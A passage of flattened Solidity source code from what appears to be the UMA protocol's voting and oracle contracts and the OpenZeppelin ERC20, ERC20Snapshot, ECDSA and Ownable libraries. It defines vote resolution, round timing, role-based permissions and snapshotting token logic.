* @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be
* used to enforce a minimum voter participation rate, regardless of how the votes are distributed.
* @return isResolved indicates if the price has been resolved correctly.
* @return price the price that the dvm resolved to.
*/
function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold)
internal
view
returns (bool isResolved, int256 price)
{
FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100);
if (
data.totalVotes.isGreaterThan(minVoteThreshold) &&
data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold)
) {
// `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price.
isResolved = true;
price = data.currentMode;
} else {
isResolved = false;
}
}
/**
* @notice Checks whether a `voteHash` is considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains information against which the `voteHash` is checked.
* @param voteHash committed hash submitted by the voter.
* @return bool true if the vote was correct.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @notice Gets the total number of tokens whose votes are considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains all votes against which the correctly voted tokens are counted.
* @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens.
*/
function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) {
return data.voteFrequency[data.currentMode];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/VotingInterface.sol";
/**
* @title Library to compute rounds and phases for an equal length commit-reveal voting cycle.
*/
library VoteTiming {
using SafeMath for uint256;
struct Data {
uint256 phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input.
*/
function init(Data storage data, uint256 phaseLength) internal {
// This should have a require message but this results in an internal Solidity error.
require(phaseLength > 0);
data.phaseLength = phaseLength;
}
/**
* @notice Computes the roundID based off the current time as floor(timestamp/roundLength).
* @dev The round ID depends on the global timestamp but not on the lifetime of the system.
* The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return roundId defined as a function of the currentTime and `phaseLength` from `data`.
*/
function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return currentTime.div(roundLength);
}
/**
* @notice compute the round end time as a function of the round Id.
* @param data input data object.
* @param roundId uniquely identifies the current round.
* @return timestamp unix time of when the current round will end.
*/
function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return roundLength.mul(roundId.add(1));
}
/**
* @notice Computes the current phase based only on the current time.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return current voting phase based on current time and vote phases configuration.
*/
function computeCurrentPhase(Data storage data, uint256 currentTime)
internal
view
returns (VotingAncillaryInterface.Phase)
{
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return
VotingAncillaryInterface.Phase(
currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
/**
* @title Ownership of this token allows a voter to respond to price requests.
* @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards.
*/
contract VotingToken is ExpandedERC20, ERC20Snapshot {
/**
* @notice Constructs the VotingToken.
*/
constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {}
/**
* @notice Creates a new snapshot ID.
* @return uint256 Thew new snapshot ID.
*/
function snapshot() external returns (uint256) {
return _snapshot();
}
// _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot,
// therefore the compiler will complain that VotingToken must override these methods
// because the two base classes (ERC20 and ERC20Snapshot) both define the same functions
function _transfer(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Snapshot) {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._mint(account, value);
}
function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._burn(account, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for a registry of contracts and contract creators.
*/
interface RegistryInterface {
/**
* @notice Registers a new contract.
* @dev Only authorized contract creators can call this method.
* @param parties an array of addresses who become parties in the contract.
* @param contractAddress defines the address of the deployed contract.
*/
function registerContract(address[] calldata parties, address contractAddress) external;
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view returns (bool);
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view returns (address[] memory);
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view returns (address[] memory);
/**
* @notice Adds a party to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be added to the contract.
*/
function addPartyToContract(address party) external;
/**
* @notice Removes a party member to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be removed from the contract.
*/
function removePartyFromContract(address party) external;
/**
* @notice checks if an address is a party in a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MultiRole.sol";
import "../interfaces/ExpandedIERC20.sol";
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external virtual override {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external virtual override {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external virtual override {
resetMember(uint256(Roles.Owner), account);
}
}
pragma solidity ^0.6.0;
import "../../math/SafeMath.sol";
import "../../utils/Arrays.sol";
import "../../utils/Counters.sol";
import "./ERC20.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal virtual override {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
